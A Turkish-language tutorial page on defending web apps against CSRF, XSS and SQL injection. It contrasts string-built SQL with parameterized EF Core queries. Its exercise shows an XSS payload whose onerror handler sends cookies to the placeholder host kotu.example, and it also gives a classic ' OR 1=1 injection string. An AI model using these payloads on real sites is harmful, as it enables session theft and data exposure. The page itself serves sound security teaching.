COMPUTER ENGINEER

Örneklere git
Blog
Next.js / ASP.NET Core / SQL6 dk çalışma
25/ 41

Kimlik ve güvenlik

CSRF, XSS ve injection: katman katman savunma

Üç klasik saldırı, her katmandaki karşılıkları ve neden tek bir önlemin yetmediği.

AnlaÖrneği inceleKendin uygula

Kavramı anlayalım

CSRF (siteler arası istek sahteciliği), kullanıcının tarayıcısının otomatik gönderdiği çerezleri kötüye kullanır: başka bir site, kullanıcının oturumuyla senin sitene durum değiştiren bir istek yaptırır. Savunmalar: SameSite çerezler, durum değiştiren isteklerde Origin başlığının kontrolü ve gerektiğinde anti-forgery token’ları. GET isteklerinin durum değiştirmemesi de bu savunmanın temelidir.

XSS (siteler arası betik çalıştırma), saldırganın girdiğinin sayfada kod olarak çalışmasıdır. React metni varsayılan olarak kodlar; tehlike dangerouslySetInnerHTML, ham HTML’e izin veren Markdown ve ‘javascript:’ bağlantılarıdadır. Savunmalar: çıktıyı kodlamak, kullanıcı HTML’ini temizlemek, Content-Security-Policy başlığı ve HttpOnly çerezler.

Injection, girdinin bir sorgunun veya komutun parçası olarak yorumlanmasıdır. SQL injection’ın kesin çözümü parametreli sorgulardır; EF Core LINQ sorgularında ve FromSql’in enterpolasyonlu biçiminde değerleri otomatik parametreleştirir. Tehlike, string birleştirerek SQL üretmektir. Bu projede Markdown ham HTML çalıştırmaz ve bağlantılarda tehlikeli şemalar engellenir.

NERESİNDE KULLANIRSIN?

Her saldırı farklı bir katmanı hedefler; savunma da her katmanda olmalıdır.

SIK YAPILAN HATA

Kullanıcı girdisini string birleştirmeyle SQL’e veya dangerouslySetInnerHTML ile sayfaya eklemek.

01 / UYGULAMA

Aynı konu. Üç farklı derinlik.

Temsili örnek
// ✗ SQL injection
var sql = "SELECT * FROM Posts WHERE Slug = '" + slug + "'";
// slug = "x' OR 1=1 --" → bütün yazılar döner

// ✓ Parametreli (EF Core)
db.Posts.Where(p => p.Slug == slug);

Parametreli sorguda değer hiçbir zaman SQL kodu olarak yorumlanmaz.

Bu sayfa gerçek bir sunucuya veya veritabanına bağlanmaz. Kod örnekleri .NET 8, Next.js ve SQL Server için temsilîdir; süreler simülasyondaki örnek değerlerdir, ölçüm değildir. Örnekleri yalnız kendi geliştirme ortamında dene; gerçek bağlantı dizesi, token veya parola paylaşma.

02 / SIRA SENDE

Önce kendin dene.

Yorum alanına şu girildi: <img src=x onerror="fetch('https://kotu.example?c='+document.cookie)">. Bir React bileşeni yorumu {comment.text} olarak gösteriyor. Ne olur? Peki dangerouslySetInnerHTML ile gösterseydi?

Çözümü ve açıklamasını göster
Açıklamalı çözüm
{comment.text}: React metni kodlar; ekranda zararsız bir yazı olarak görünür.
dangerouslySetInnerHTML: img etiketi oluşur, onerror çalışır (XSS).
HttpOnly çerezler okunamaz ama sayfa adına başka istekler yapılabilir.

Varsayılan kodlamayı bypass etmek XSS kapısını açar; gerekiyorsa önce güvenilir bir temizleyiciden geçirilir.